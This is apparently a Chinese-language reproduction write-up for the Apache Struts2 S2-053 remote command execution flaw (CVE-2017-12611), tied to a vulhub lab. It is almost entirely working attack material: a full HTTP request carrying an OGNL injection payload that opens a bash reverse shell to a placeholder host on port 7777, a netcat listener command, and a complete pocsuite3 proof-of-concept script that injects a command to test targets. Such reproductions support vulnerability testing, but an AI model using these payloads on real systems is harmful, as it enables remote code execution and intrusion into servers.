漏洞复现-Struts2-053 远程命令执行漏洞

POST /hello.action HTTP/1.1Host: x.x.x.x:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 884Origin: http://x.x.x.x:8080DNT: 1Connection: closeReferer: http://x.x.x.x:8080/hello.actionCookie: JSESSIONID=725C0B09B04404D9769BD21204F2F6CEUpgrade-Insecure-Requests: 1
redirectUri=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fx.x.x.x%2F7777%200%3E%261').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%40org.apache.commons.io.IOUtils%40toString(%23process.getInputStream()))%7D%0A

nc.exe -lvvp 7777

使用方法：python3 cli.py -r pocs/struts2-053-poc.py -f 1.txt
poc：# -*- coding:utf-8 -*-
from pocsuite3.api import Output, POCBase, register_poc, requests, loggerfrom pocsuite3.api import get_listener_ip, get_listener_portfrom pocsuite3.api import REVERSE_PAYLOADfrom urllib.parse import urljoinfrom pocsuite3.lib.utils import random_str

class DemoPOC(POCBase):    vulID = "CVE-2017-12611"    version ='2.0.1-2.3.33,2.5-2.5.10'    author = ["ry"]    vulDate = "2019-12-27"    createDate = "2019-12-27"    updateDate = "2019-12-27"    references =["https://vulhub.org/#/environments/struts2/s2-053/"]    name ="S2-053 Remote Code Execution Vulnerablity"    appPowerLink = ''    appName = 'Strute2'    appVersion = '2.x'    vulType = 'RCE'    desc = '''    struts2-053远程代码执行漏洞    '''    samples = []    install_requires = ['']
    def _verify(self):        result = {}        path = "/hello.action"        url = urljoin(self.url,path)        payload = "redirectUri=%25%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'echo%20ry').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%40org.apache.commons.io.IOUtils%40toString(%23process.getInputStream()))%7D%0A"        headers = {                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0',                    'Content-Type': 'application/x-www-form-urlencoded'                    }        rr = requests.post(url=url,headers=headers,data=payload)        try:            if "ry" in rr.text:                result['VerifyInfo'] = {}                result['VerifyInfo']['URL'] = url                result['VerifyInfo']['Name'] = payload        except Exception as e:            pass        return self.parse_output(result)                    def parse_output(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail('target is not vulnerable')        return output
    def _attack(self):        return self._verify()register_poc(DemoPOC)